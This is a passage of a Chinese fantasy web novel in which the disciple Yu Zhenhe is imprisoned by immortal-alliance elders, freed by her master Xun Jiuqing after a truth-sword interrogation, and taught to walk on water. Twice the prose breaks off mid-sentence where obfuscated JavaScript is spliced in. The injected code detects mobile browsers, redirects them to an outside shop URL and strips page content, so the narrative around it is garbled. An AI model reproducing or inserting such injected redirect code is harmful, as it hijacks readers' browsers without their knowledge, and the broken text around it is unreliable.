就这么趴在铁栅栏前许久,鱼枕荷感觉眼皮正在一点点变得沉重,昏昏沉沉地便睡了过去。 不知过去多少个时辰,鱼枕荷似乎在睡梦中听见了由远渐近的脚步声,蓦然惊醒,发觉脚步声是切切实实的。 她好似一下便活了过来,赶忙透过铁栏杆之间的狭窄缝隙往外看。 原来是仙童来送朝馔。 鱼枕荷看着仙童端来榨菜和白粥、以及一瓢水,打开铁栅门,将装有吃食的餐盘送进牢房后又重新闩上门。在仙童转身要走的时候,鱼枕荷赶忙喊住他:“那个、这里是什么地方?昨晚有人来找过我吗?”她忽然失踪,苍溟师兄寻不到她,应该能够察觉到蹊跷,他会回无常关寻九卿师父帮忙吗…… 仙童回应道:“这里是建在群英会地下的牢狱,专门用来关押那些不守规矩的,又或者企图在群英会伤害无辜的人。”顿了顿,他继续回答鱼枕荷的后一个问题,“昨晚没有人来过此地。”言罢,他便径直离去。 昏暗无光的地牢内又只剩下了鱼枕荷。也不知是这地牢只关押了她一人,还是每一间牢房都被单独设下了禁制,至少昨天晚上鱼枕荷喊了大半天,愣是一声回应都没有听见。 鱼枕荷把榨菜拌进白粥,一勺一勺食不知味地吃完。又等了几个时辰,仙童来送晌饭,仍旧是榨菜和白粥。 看不见日升月起,鱼枕荷只能通过送饭的仙童来判断究竟过去了多久。 那些个仙盟长老还是挺客气的,鱼枕荷不由得心想。说是没人管她就让她死在牢里,结果还是愿意派仙童一天三顿地给她送饭,虽然饭菜是清汤寡水。 又是一整天过去,地牢内的晚飧毫无变化,榨菜和白粥。再这样吃下去,鱼枕荷都感觉自己要长不高了。 她还想身量超过苍溟师兄呢,免得次次遭他弹脑门。 吃完晚饭,鱼枕荷仰躺在地上小憩了一会儿,觉得不能如此坐以待毙。她坐起身,抓抓脑袋,却苦于没有半点离开地牢的头绪。 牢房内空间狭小,不方便走动,鱼枕荷就在铁栅栏前盘腿坐下,静坐思考许久。忽然地,她脑中灵光乍现。 “距离好像有点远……但是也只能这样了吧……” 她遂合上眸,开始在心中默念—— 清君侧、清君侧…… 应吾所念,请快些告诉九卿师父,他的徒儿碰到了麻烦,需要他来群英会场域一趟…… 7. 问心剑意 第二天,鱼枕荷仍旧没有回般若峰。 兰因殿内,倚墙摆放的青色长剑忽地颤鸣作响,闹出的动静惊扰到荀九卿,他原已打算回寝房休息,此刻侧眸看去:“……清君侧?” 长剑出鞘,麒麟骨锻造的剑身闪烁星星点点碎光,“咻”地飞到荀九卿眼前,东摇西晃,最终剑尖定格在殿门方向。 荀九卿微一思忖,似乎明白了清君侧的意思:“鱼枕荷?她在唤你?” 清君侧悬在半空,上浮又下沉,仿佛在学人点头。 荀九卿上前推开门,走出兰因殿,清君侧则一趋一步跟随在他背后。 “头前带路。”荀九卿言道。 于是清君侧听话绕至荀九卿身前,放缓速度引领他一路下山,离开无常关所居洞天,从最近的道路进入群英会场域。 荀九卿疑惑于清君侧带他过来此处,可看它反应,又是切实受到了鱼枕荷的心召。 最终,清君侧停在一面漆黑而布满暗红纹路的玉石壁前。它绕着荀九卿打圈飞旋,荀九卿五指微张,它便钻入他手心,由他握住。 破解了石门阵,荀九卿携清君侧走进壁后暗道。 他虽从未来过此处,但仙盟内部的事从来都会传信到他殿内,其中便包括商议要事的地点,以及入关方式。再加上那侧有召,清君侧循召引路,他穿过石窟暗道的重重机关算得上得心应手。 前一日聚众议事的几位长老,今日仍旧齐聚一堂。荀九卿没有刻意收敛步伐,渐近的脚步很快便传入暗室内诸派长老的耳中。 “何人在此!” 石窟暗阁建成至今百年,除了昨日的小丫头之外,还从未有过非仙盟之人误闯进来。这昨日一个、今日一个的,几位长老都差些要怀疑这石门阵失灵了。 原以为又是谁“碰瓷”进来了,长须长老怒喝,大步流星走出暗阁,身后还跟了一道其余长老。 在瞧见提柄长剑、一袭雪青衣袍的青年人后,几位长老脸上的愠色骤然烟消云散,回过神来,皆是毕恭毕敬地拱手行礼,前者继而再颔首回礼。 若是有旁人在,都该叹一句这便是仙门之首的气派。只可惜,这里只有仙盟长老,没有多余的闲杂人。 长须长老身侧,哭笑鬼看热闹不嫌事大,揶揄道:“这算不算另一种意义上的……说曹操、曹操到?” 应长老面色不悦地剜了哭笑鬼一眼,哭笑鬼瞬间缩回去。荀九卿则是不解询问哭笑鬼道:“阁下何意?” “大体的荀宗师都知晓,我不多赘述。”哭笑鬼道,“半个月前西极斥候来报,魔头李季川死在了虞渊,但说是死了,尸首却怎么也找不到,没办法,总不可能跳下虞渊去找。” “虽说我们不信他真死了,但要说是诈死也奇怪,这魔头死得当真挺意外的,不只我们仙门,他们魔域似乎也没想到他们的头子死得那么草率,最近魔域内部乱得厉害。” “在此之前,魔域屡次刺探八荒法阵阵眼位置无果,几日前荒神楼又揪出了两个魔域细作,所以……”哭笑鬼一瞥身侧的应长老,“我们合理怀疑,那个魔头本尊也混进了仙门之中,并且知晓了我们瞒了整整十三年的那件事。修仙者的法力消耗有上限,为了维系阵法不破,我们每三个月就要换批人守阵,若魔头真藏在仙门,以他的手段,混进守阵的人里去很容易。” 哭笑鬼话声戛然而止,剩余的话则由荒神楼掌门应归臣接续:“谁又敢轻言,十三年前的变故不是一个征兆。”他重重叹息,“魔域界碑的封印摇摇欲坠,不多时便要彻底关不住他们了。” “总之,仙盟不可能让魔头李季川那么容易便得逞,故经数日商讨,仙盟决定退出驻守阵法的前线,将此重任全权交由荀宗师负责,仙盟则在后方通过玄天镜观测阵眼动静。荀宗师手上有神域之物东皇钟,一钟响,八方应,此圣物用于镇守八荒法阵再好不过。” 闻言,荀九卿沉默不语良久,给面前众仙的感觉便是他在思量两位长老给出的提议。半晌后,他平静道:“过去五百年间,神域诸神为平息界域混战,调动因果,封印魔域、妖域、怪域的界碑,致使集体陷入沉睡,到如今,至少也该醒了一两位。” “若这八荒阵法破了当真能引得天塌地陷,他们神域三十六重天自会亲自下场,又如何轮得到仙门插手?” 此话一出,众仙的脸色都不甚好看。 任谁都知晓,神域借了佛域因果,正消耗自身镇压魔、妖、怪三大域,期间哪怕有神苏醒,消耗也不会随之停止。可以说如今大荒神祇能够动辄的法力,甚至不如人间一个修炼三年、小有所成的修士。 所以荀宗师的话意很明显,他不愿意接手仙盟丢给他的烂摊子,并且让他们自己看着办。 又有仙人言道:“可谁又能保证,这八荒阵法是真的无关紧要呢?毕竟是魔域觊觎之物,若是——” “诸君可有见一个小姑娘来过此处?”荀九卿直接打断了仙人的话,他伸手,在肩膀往下些的位置比划,“豆蔻,身量约莫到这处,穿了无常关宗门袍。” 被无视的仙人僵在原地,在他身后,哭笑鬼戴了面具,看不清他神色如何,可他耸耸肩、又掩掩根本看不见的嘴,面具之下的幸灾乐祸完全展露无遗。旁边,应长老的两截灰白眉拧到一起,表情肃然:“荀宗师,你确定那丫头是你的徒弟?” 鱼枕荷果不其然便在此处。荀九卿问道:“如何?” 昨日束灵蛇髻的女长老,今日则是盘了低发髻,发间簪小苍兰,却是没簪出半点温婉气来。她覆手攀着应归臣的肩膀探出头,再一把将人推开,姿态狡黠如蛇。她轻笑,说道:“昨日是有一个小丫头闯进这里,口口声声称自己是无常关的弟子。但她实在不诚实,我们问她为何出现在此处,她竟然说什么自己是从观心湖一脚踩空掉到这里的。” “观心湖是什么地方?这里是什么地方?我们又不是小毛孩子,哪里那么好糊弄?她不愿意说实话,没办法,最近魔域细作太猖狂了,我们只得先把她关起来看看状况,这也是无奈之举,要怪就怪那魔头,将我们每个人都折腾得心惊胆战。” 荀九卿耐心听完,也只是微微颔首,语气依然平静如水:“我近时在教她遁术,许是她没掌握好分寸,才误闯此地。” 哭笑鬼疑惑:“可这地方有禁制啊?” 荀九卿道:“凡事总有例外。” 哭笑鬼嗤笑一声:“我算是相信了昨天那个真是荀宗师的徒弟,这偏私都偏到虞渊去了。其实我原本便不认为这么一个小孩子会是魔域安插在仙门的细作,但光我这关过了没用,应长老还没发话呢。”他偏头,笑朝身侧的人道,“怎么说,要放人么?” 应长老呼出一口浊气,视线悄然扫过荀九卿手中的青色长剑,说道:“荀宗师莫怪,我们仙盟谨慎惯了,总归是不晓得那丫头昨日到底听到了多少。人自然要放,但该审的也不可落下。” 荀九卿会意,将清君侧往上提了提:“无妨,该审。” 见荀宗师没有异议,在场诸仙家都明里暗里松了口气。打头的蓝袍长老掐指捻诀、画地为阵,荀九卿走近了,便与他们几人一同消失在银蓝光晕中。 …… 牢房的角落里,鱼枕荷双臂环膝,将脑袋埋在双膝间打盹。听见不止一人的脚步声,她困惑抬头,露出一双眼眸。 是来送饭吗?可今日已经送来过一日三餐了,囚犯哪里会有夜宵的待遇呢?而且送饭哪里需要这么多人一起过来? 鱼枕荷眨眨眼睛,忽地脑中灵光闪过,瞬间吓得她困意全无。 该不会是等不及了想直接来审她吧!还是审不出来就要上刑的那种……可她真的什么都不知道啊…… 就在鱼枕荷左瞧瞧、右看看,想找条地缝钻进去躲起来的时候,为首的一对白藤色绣银纹皂靴已经立于铁栅栏外。咔嗒一声,熟铁长栓锁应声落地,牢房大门打开。 鱼枕荷仰首望去,蓦然眸中星光闪烁:“九卿师父!” 荀九卿垂眸扫过鱼枕荷膝上的一块伤痕,鱼枕荷顺着师父的视线看去,俄顷弯眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296657|198566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑道:“过两天就好了。” “荀宗师。”边侧的应长老唤道。 荀九卿无言瞥他一眼,利刃出鞘,剑锋直指向鱼枕荷面门。金光浮现,以荀九卿手中清君侧为原体,纷然化作无数道金光利刃,飞往四面八方剑指鱼枕荷,没有放过任何犄角旮旯。 与此同时,无形的力场自二人之间铺开,一股浩荡的威压将鱼枕荷镇在原地,连动一根手指都难,也让荀九卿身后众仙家无法踏入力场范围。 万剑十三式——【问心剑意】。 鱼枕荷无疑认得这一剑招。【万剑】,是九卿师父亲手编纂出的、充公交于天阙的一套剑法。 只是万剑剑谱的其余上百种招式人人能用,唯独这【问心剑意】,上天入地只有荀九卿一人使得出来。 果然……让清君侧光明正大带着九卿师父来寻人,按照仙盟的谨慎程度,便一定不会放过这次问心提审的机会。鱼枕荷心中暗想道,否则师父绝对会说自己把剑落在了哪处没带过来的。 鱼枕荷目光掠过环绕自身的数道金光利刃。接下来的审问,只要她说了一句违背本心的话,这些金光宝剑的其中一柄便会刺透她身,再说错一句,便是第二剑。 荀九卿曾用这招【问心剑意】审过天阙皇城中无数罪臣,有几回鱼枕荷也在,亲眼目睹过那些不轨之徒的下场。犯人被【问心剑意】伤得千疮百孔,偏偏以灵气凝铸的金光宝剑还能在伤人的同时给人灌注灵气,吊着犯人的性命,决不许他在审讯进行到一半时便万箭穿心死了,可谓残忍至极。 鱼枕荷知晓师父也不喜欢这一剑式,分明耗不了他至高灵力的一分半点,可相识得久了,鱼枕荷自然也能辨得出师父什么时候心情不佳。 虽说鱼枕荷问心无愧,但这道【问心剑意】降到自己身上,同时面对如此多道利刃、还有门前长老们的炯炯目光,仍旧叫她有些发怵。 好处是,面对【问心剑意】,鱼枕荷不会因为多回答了几句“不知道”便被认为是装傻,从而被施以更重的刑罚。不知道便是不知道,【问心剑意】足以替她做证。 “报上姓名。”荀九卿道。 鱼枕荷视线穿过寒光凛凛的剑刃,看向后头的青年:“无常关剑宗第二百一十五届、第七十三代亲传弟子鱼枕荷。” “仙盟密谈重地,罗布奇门遁甲之术及仙门禁制,你是如何闯入此处?” 像是真的将鱼枕荷看作了与天阙那些受审罪犯别无二致的人,荀九卿话声冷淡,丝毫不见平日里的温存,有的只是朝堂上的雷厉风行。 鱼枕荷咽了口唾沫,随后又是将事情原貌重复一遍:“弟子只是正常在观心湖上行走,走到不知哪处的时候,观心湖水忽然就变得与寻常湖水一样,弟子一脚踏空掉了进去,然后就莫名来到那片陌生暗室了。” “听到了些什么?” “只听到诸位长老们说,如今仙门形势严峻,各大宗派都要加固守护。还有,因为九卿师父有东皇钟,所以要将守护哪一八方阵法的要务交给您。其他就什么也没有听见了。” “你可与魔域党羽有所勾结?” “弟子清白,绝不与魔域中人同流合污!” 清君侧嗡嗡鸣颤,牵带着所有鎏金宝剑起伏烁动,却无一剑落下。荀九卿道:“够了么,还想听什么?” 鱼枕荷一愣,旋即反应过来,师父这句话不是对她说的。 牢房狭小,只容得下荀九卿一人进入,牢房铁栅门外,应长老重重太息。其余长老你看我看,实在想不出其他需要盘问的,何况他们在审的这个还是荀九卿的徒弟,荀九卿应允提审,算是给他们台阶下,他们总不能拾级而上。 “既是误会,今日之事便就此作罢吧。”应长老启唇言道。 冷光一闪,荀九卿覆手收剑,凝聚在鱼枕荷周身的金光宝剑霎那间散开作点点星光。 他缓步走到鱼枕荷面前,倾身俯下,朝她伸出手。鱼枕荷手心覆上,荀九卿拉她起来,又恢复了一如往常的温雅,道:“回家了。” 8. 月亮 好不容易离开了阴暗潮湿的地牢,鱼枕荷蹦蹦跳跳跟在荀九卿身后,又经过那片观心湖。 荀九卿未有踏上水面,只是沿着岸边的汉白玉道路走。鱼枕荷想着,兴许九卿师父被清君侧带出门的时候已经打算入睡了,他未束高冠,也没戴翅帽,只以一根鹄白发带随意束了个不高不低的扎发。穿着也并非天庭公服,一袭轻薄云纱制成的藤色长袍曳地,因风动而卷起翻飞,仿若云烟。闪烁寒光的利剑早在出狱时便被他收回灵窍,此刻他浑身上下全无一丝冷冽气息,温和似水。 远远望向他踱在素白月光下、几乎与月色相融而忽远忽近的身影,渊清玉絜、遗世独立,鱼枕荷不由得遐想起九卿师父的心湖。 那会是怎样一番光景呢…… 倏尔,鱼枕荷眸光微斜,竟瞥见旁侧的观心湖上波光粼粼。她以为是错觉,跑近了,倾身去看,却是一池泠泠月色,倒映在瞧不见人影的澄澈水面。 “鱼儿。” 荀九卿不知何时驻足,立于前路唤她。 鱼枕荷起身,飞快赶上对方的步伐:“来了!”她与荀九卿并行,方想要开口诌些话以闲聊,比脱口的话先蹦出来的是五脏庙的两声咕咕叫。 荀九卿侧眸,鱼枕荷赶忙捂住肚子,嘿嘿一笑:“师父,你吃饭了吗?吃了的话要不要再吃一顿宵夜?” “未曾。” 鱼枕荷道:“那我们现在是回宗门还是下馆子呀?” “唔……随你高兴。” “那就下馆子吧!”鱼枕荷抬头看向夜空,又低下头思忖起来,“现在有些晚了呢,要去也只能去夜市了,哪家馆子比较好吃……” 看着身侧鱼枕荷犹豫不定的模样,荀九卿适时开口道:“上回给你带回去的煎鹌子味道如何?瞧你那时心不在焉的,没吃几口,你若还喜欢,我便带你去那处饭馆。” 闻言,鱼枕荷眼中流光溢彩,立马答应下来:“好!” 南粤馆开在越州最热闹的街市上,三更天仍旧人群来往、络绎不绝,鱼枕荷与荀九卿排了好些时候的大长队,才勉强挤到了个二楼靠窗的位子。 上菜后,鱼枕荷先是给荀九卿夹了菜,而后自己也用筷子插了一串糖葫芦状的鹌鹑蛋。她蓦地想起暗室里长老们的谈话,于是试探性地瞄一眼荀九卿,纠结着开口问道:“那个……师父,十三年前是发生了什么事吗?那些仙盟长老说的八方阵法是什么呀?还有东皇钟,师父要去守阵吗?” “无甚大事,仙魔之间的战乱罢了。至于守阵……我才知晓此事。”荀九卿说道,“或许你听闻过上古八荒阵法,此阵世世代代由仙门驻守,至于守的是什么,我并不知情。”顿了顿,他又继续回答鱼枕荷的下一个问题,“阵法我固然要守,却是不该由旁人指来调去,这般总显得是我不情愿,他们倒占了个心怀天下的美名。如今他们一番商议皆大欢喜了,哪里还有我说话的份。” 今日荀九卿确是有些失算了,他原本打算直接去找鱼枕荷,把人捞出来便走,但没想要去地牢就必须经过仙门的议会暗室,结果莫名被当了枪使,一是守阵,二是提审。先前便觉仙盟乌泱泱,这会儿看着更讨厌了。 反观鱼枕荷,却是被荀九卿话里话外的讥刺之意逗地笑出声来,而在之后的良久工夫里,又一直心不在焉地转动手中插了四颗鹌鹑蛋的竹筷子,也不下嘴。 荀九卿偏头看她,惑道:“怎么了?” “九卿师父要去守阵,那徒儿要多久才能再见到你一回?”鱼枕荷低垂着眼眸,轻声道,“原本师父要在天庭公干,回般若峰见徒儿的时间就很短很短,师父还要分出很多时间处理折本和宗门事务……” 见鱼儿的顾虑在这处,荀九卿舒眉一笑,为她倒了盏兑有糖霜的茶水推过去,道:“东皇钟与我神魂一体,不需要我亲临,其便能随我旨意镇守八荒,若阵法有异动,我在无常关便能察觉。”他道,“若非如此,仙盟又如何会认为只有为师可以在守阵的同时,不被魔域顺藤摸瓜寻到阵眼所在?” 听到此言,前一秒还蔫巴巴的小少女,这一秒瞬间便又来了精神,她双手捧住师父递过来的温茶,眨着一双烁亮的眼瞳,道:“真的吗?” 荀九卿温声答道:“真的。” 鱼枕荷瞬间笑眼弯弯:“那就好、那就好!” 到底还是个孩子,心境能够转变得如此之快。荀九卿看着鱼枕荷喝两口茶水,旋即又高高兴兴吃掉一整串鹌鹑蛋,心中默默想道。 前一天被关在地牢,鱼枕荷没法上三十三重天找宫栖篁,故而今夜她步入玉京台,对方像是憋了两个对时的难听话无处发泄,在鱼枕荷进入寝殿后便一股脑儿地怼到她头上。 鱼枕荷一如既往耐心听完宫特进的臭骂,过后依旧交给她一只装了丹药的小瓷瓶,收走空瓷瓶。 临走前,宫栖篁朝她说道:“抛开私人恩怨不谈,本将是真心劝你回头。好好珍惜现在的生活,不要等一切都来不及了才想起来后悔。” 鱼枕荷朝她浅浅笑道:“谢谢你,只是这件事,还是要劳烦宫特进替我保守秘密。”言罢,她便离开玉京台。 宫栖篁远望她,微一叹息。 …… 无常关内门的年中考核总共持续三日,第一日考法综,即拼法力;第二日分上下午,考文综与武综;第三日试剑台比试,再综合排榜。 考武综和比剑的时候,鱼枕荷用的仍旧是那柄未开刃的紫藤剑。 仙门追求的从来不是刀光剑影,与同僚们切磋更是不能见血。荀九卿是剑道一脉的大宗师,剑法奇美、无人可仿,一柄清君侧冠绝天下,鱼枕荷作为他的亲传,原本就比同门师兄师姐们多学了好几套剑法,比试排榜,他们用开刃银剑,鱼枕荷用藤枝缠成的花剑,很公平。再者,鱼枕荷也早便习惯了紫藤剑,要突兀换回银剑反而会不适应。 两两比剑,依据的是去年年末考核的排榜,第一名与第二名比,第三名与第四名比,依此类推。去年的第一与第二分别是夜兰若与鱼枕荷,故而这回便是她二人切磋比试。 鱼枕荷拜入无常关约莫一年半载,第一年、也便是去年的年中考核排在三十三名,虽算不得差,但她毕竟比多数内门师兄师姐多了“亲传”二字,连个前十名都挤不进去,难免遭人议论。 那时候兰若大师姐便稳居内门榜首。夜兰若是另一位剑学长老宋逍的亲传弟子,徒弟争气,宋长老自然每日都红光满面。 正因此,鱼枕荷走在道路上、坐在学堂中,总是听到同僚们七言八语、说短论长。最多的便是说荀宗师当年的拜师考核绝对放水放了一片海,偏偏他还收了一个徒弟之后就不再收第二个了,说是太忙,教不过来,被其他长老问起来就甩一堆公文在桌上,说是谁替他批完他就多收几个徒弟,这才导致在百花争艳的仙门内精准挑到了个完全不开窍的。 鱼枕荷听着不开心,但又觉得他们说得不无道理,于是每日便闷着口气。后来荀九卿看出异样了,亲口问她,她也没同师父多讲。 实际上,论武综与文综,鱼枕荷其实学得很快。她短的是法综,在汇集天地灵气的方面尤其欠缺,所以她每日省出休憩的时间炼气,舍掉睡觉的时间炼气,吃饭时也不忘放出些灵识试探周围可以汲取的灵气,耗费了比其他同门多出十余倍的精力。 在后来的年末考核中,鱼枕荷与大师姐夜兰若分别居于断层第二与断层第一,那些非议她的同僚终于不再说难听的话了。同僚们本就不是有意刁难鱼枕荷,见她短短半年时间便赶超过排行榜前列那些比她早入门的师兄师姐,质疑声也逐渐转变成真心诚意的夸赞声。 试剑台上,夜兰若与鱼枕荷相互作揖,而后便双双出剑。兵刃相接,银剑与花剑碰撞,又分开。凛冽的剑气在试剑台上肆意纵横,就连台下围观的同僚们都感受到了无形的威压。 鱼枕荷剑法变换流畅,夜兰若的内力却是深不可测,几乎每招每式都能用气息包裹住鱼枕荷,让她出招变得吃力。好在鱼枕荷自去年来都未有懈怠过练功,已然能够接住过去接不住的招式,最终将将与夜兰若打了个平手。不过硬要说的话,还是夜兰若占了上风。 师姐妹两人一同下场,夜兰若含着笑意赞美道:“鱼儿进步得真快,马上就要追赶上师姐了。” 鱼枕荷转头看向兰若大师姐。在鱼枕荷的印象里,大师姐永远是这么一副温温柔柔的模样,平常照顾同门也是无微不至,鱼枕荷才入门时遭人议论,也是兰若大师姐替她说理。直至今日,鱼枕荷还从未见大师姐对同门姊妹流露出过一丝愠色。 “怎么可以这么说呢,师姐永远是师姐,鱼儿再厉害也是师姐更厉害。”鱼枕荷道。 三日考核下来,鱼枕荷自认为发挥得不算好,第二日考笔试的时候掉了很大的链子。 那会儿四周空气静谧,没有人打搅,鱼枕荷便不受控制地想起那日苍溟师兄在无相殿外对她说的话—— “你是荀宗师的徒弟,荀宗师却不仅仅是你的师父,他都能长时间将你晾在无常关不管了,你有没有想过,哪一天他就不回来了?” 鱼枕荷所处的学堂由闫二长老监考,她宁不下心来,一会儿咬笔杆,一会儿抬头往窗外看,惹得闫二长老在她的座位附近走了好几圈,又屈指轻敲她的桌面,提醒她专心。 直到学堂门上悬挂的骨瓷铃响动,笔试结束,鱼枕荷才蓦然惊醒,交书卷时竟发觉自己漏掉了整整一面纸,一字未写。 竟然开始反刍了……鱼枕荷有些懊恼地拍拍额头,努力让自己清醒过来。 最坏的情况也不过是一年见不到师父几次面,这还只是最坏的情况,就算师父最后真的要走,她也有师兄师姐们陪着呢。 …… 内门排榜是在年中考核结束后的第二日。首屈一指的毫无疑问是兰若大师姐。 鱼枕荷在此次笔试考核中走了神,综合排名掉到了第六。其余门生的排名没有出现太大的浮动,总体比分都还算稳定,至少不存在吊车尾。 闫二长老当真是个热心肠,还将鱼枕荷考试走神,并且漏掉了一面考卷的事一五一十告诉了荀九卿,嘱咐荀九卿马上就是仙盟群英会了,叫他回去好好教育教育徒弟,该收心时便收心,不可浮躁。 交代完事项,闫楚甫一转身,身后莫名挨了顿训的荀九卿立马就龇了他一下,他回头,荀九卿浅浅笑着与他道别。 般若峰东廊书房背山面水,书房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296658|198566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的正南方有一片方形莲花池,池塘南边是石头堆砌而自然形成的小瀑布。荀九卿回峰时便看见影影绰绰的金纹白裙潜匿在连片的莲花中,偶尔跌倒溅起水花,又很快站起来,继续朝前小心翼翼地走。 “鱼儿?”荀九卿靠近岸边,轻声唤道。 鱼枕荷闻声转身,轻盈的软烟罗衣裙沾了水,紧贴在她的肌肤上,勾勒出精瘦干练的腰肢。她弯眼笑道:“师父,你回来啦!” 荀九卿朝她微笑颔首。 回般若峰的时候,他还在担心鱼枕荷因为排名的事而闷闷不乐,又听说榜单公示后,闫楚将鱼枕荷提出去单独谈了一刻钟,说是谈,这位“闫王爷”的性子却是全宗门出了名的臭,任谁都能猜想到被他单独拎出去谈话的下场。 不过如今回来这么一看,似乎他先前的忧虑有些多余了。鱼儿好像完全没有将排名浮动、以及受了闫二长老训斥的事放在心上。 荀九卿看她缓慢走在池水里,时不时有水花迸溅,她却微微蹙着眉,神情认真,不像是单纯在戏水。 鱼枕荷面朝荀九卿,又是在水中扎实走了好几步,上了岸,裙裾垂下的水珠滴滴答答落到汉白玉地上。她拧了拧裙裾浸透的水,随即抬起头,眸光中有一闪而过的气馁,却在眨眼的工夫间又被期待取而代之。她道:“师父,你能多教我一种功法吗?” “嗯?”荀九卿疑问道,“哪种功法?” 鱼枕荷垂首整理一番措辞:“我想学那种……唔……能在水上到处走的功法!” 在水上走的功法?荀九卿于是思忖起来:“轻功么?此种功法你很早以前便已经学习过了。” 鱼枕荷摇摇头:“不行呀。我可以从地面跳到檐顶,再从檐顶跳到地面,可是我做不到在水上走,每一次试都一定会跌下去。” 听罢,荀九卿恍然。原来鱼儿方才在水池里的怪异举动……是在练习轻功么? 鱼枕荷眼看着荀九卿从她身侧走过,到小瀑布边上的池水里捡起一颗小石子,然后又款步回来,就近捡起一颗地面的石子,将两颗石子摊开在掌心,送到鱼枕荷眼前:“你看,这两颗石子有何不同?” 鱼枕荷歪头,两指捻起左边那颗湿润浑圆的石子,摩挲两下,视线又移向另外一颗棱角分明的干石子,道:“这颗石子有棱有角的。”她重新将湿润石头放回荀九卿手心,“这颗已经被流水冲刷磨平了。” 荀九卿覆手收回两颗石子,末了将它们一并放入鱼枕荷手中,温声言道:“你心中惧怕水,所以将水当成不可共存的敌患,将轻功当作对抗水流的兵刃。你且看这石子,棱角尽褪并非是因湍急冲刷,反是在漩涡中学会了随波流转。你视水为敌,又可曾见过柳絮需要与春风角力?” 鱼枕荷五指收拢,把一干一湿两颗石子合入掌心,接着又抬头去看荀九卿,若有所思。 荀九卿走在她前面,轻轻一挥流云广袖,鱼枕荷霎时间感觉天旋地转,一个踉跄跌向前,倒在荀九卿后背上。荀九卿抬臂,鱼枕荷支着他的手臂才勉强站稳,再抬头一看,竟然是乾坤倒转,天上是地、是池水,地面是天、是浮云。 “如今你觉得水是在天,还是在地?”荀九卿不顾鱼枕荷神色有多惊讶,说道,“你我只是天地一粟,踏出的每一步皆为般若舟,不若把苍天作碧波,把流云当踏石,莫问脚步轻重,只观于眼前风景。” 鱼枕荷一步接一步踩在虚空上,衣袂飘然掠过浮云,她一会儿低头,一会儿抬头,时而伸手去触碰头顶的清池水,水面荡起渐扩的涟漪。 就这么跟在九卿师父身后,不知道从什么时候起,她便不需要再拉着对方的衣袖,可以独立跟在他后头,走虚空如履平地,若不抬首去看,此刻他二人便是置身浩渺无际的太虚之中。 换作从前,鱼枕荷想都不敢想自己能凭空踏在天上,今日借着师父的神通,却是切实体验了一回。她知晓师父不会让她从天上掉下去,因此每一步都走得尤其安心,边走还边欣赏起寰宇的每一片云、每一颗星辰。 蓦地,荀九卿又是一挥袖,乾坤回转。这回鱼枕荷站得还算稳当,只身形稍微晃了晃,仍旧亦步亦趋跟在荀九卿身后,脚下踏着层层清波。 “道之所求,心无桎梏,身无藩篱。万物本无相,应无所住而生其心。” 荀九卿停下脚步,回头望向鱼枕荷:“练功最忌心浮气躁,你有所顾虑,才难以成事。” 鱼枕荷紧随之站定,覆拳施礼:“弟子谨遵教诲。” “去罢。”荀九卿道。 鱼枕荷提起烟罗裙摆,轻踏着水波,沿四方池塘溜达了一圈。过后,她笑眼看向池中央的荀九卿,再然后,啪嗒一声—— 整个人便跌进了池水中。 不远处,荀九卿低低笑着,只留下一句“还得练”,继而便拂袖离去。 池塘的水不深,鱼枕荷扑腾几下,略显狼狈地从水中爬起来,整个人都湿得透透的,不过因胡思乱想而有些烦闷的心情却是好了大半。 夜晚的天空月明星稀,月盘倒映在池水中,素晖清冷。鱼枕荷双手掬起一汪盛着月光的水,再任由它从指缝淌落,笑意盈盈。 她又在水中看见月亮了,而且有两个。 9. 鬼磕头 魔域如今群龙无首,乱成一团糟。魔域乱,仙门也跟着乱,这些都是令仙盟长老头疼不已的,私下小会也开得愈发频繁。之后仙门经幡禁制布设得多了,毫不客气地将沾染魔气之人围而剿之,魔族无处遁形。 只是苍溟想不明白,鱼枕荷到底是怎么突然跑到暗室里去的?偏偏她还轻易就被各宗长老抓到了,关押了整整一日才放出来。 莫不是被人暗中盯上了……? 同寝房的两名同僚都已睡下,苍溟只着一件单薄中衣,踩着棉拖无声踱步于房门前。朱红流苏耳坠随步伐摇晃,他心中思绪无比纷乱,连带攥着戏本的手也不自觉收紧。 原本他每晚都会在同门睡着后,独自到斋舍空地练练身段,这下却是被扰得什么闲暇心思也没了。 “苍哥……” 苍溟回头,是同僚在睡梦中的呓语,他手垂在床板外,虚浮地一抓一抓。苍溟走近了去,轻缓把他的手放回去,掖上被褥。 做完这一切,苍溟原本也想上榻睡觉了,却是忽而听见门外传来“咚咚”两声响,似是叩门。 他靠近门扉,刚想推开门看看究竟,便又闻见“咚”一声响。离得近,这一下立马让他尚存混沌的脑袋清醒了过来。 揣着惊疑,苍溟俯身单膝半跪,耳朵贴近门板。 咚、咚。 又是两声响,只是不知是否是错觉,这回咚咚声的间隔的时间比第一回要短促。认真去听,还能听见咚的一声过后,紧跟着的是另外一声比碰撞木板要轻的声音,像是什么瓷实的东西碰在了瓷玉上。 是他们弟子斋舍的白瓷地。 这叩门声,先是撞在了门板上,然后没有停止一路往下,直至磕到寝房外的地板才算结束,再接着进行下一次动静。 认真想,叩门的也不是手,而是比手更重更沉之物。 像是……人头? 等不及苍溟过多思考,低沉的叩门声又是一下接一下,越来越快、越来越重。 与此同时,一股骤然逼近的威压穿透寝房门扉,刹那间如潮水般席卷苍溟全身,令他寒毛倒竖! 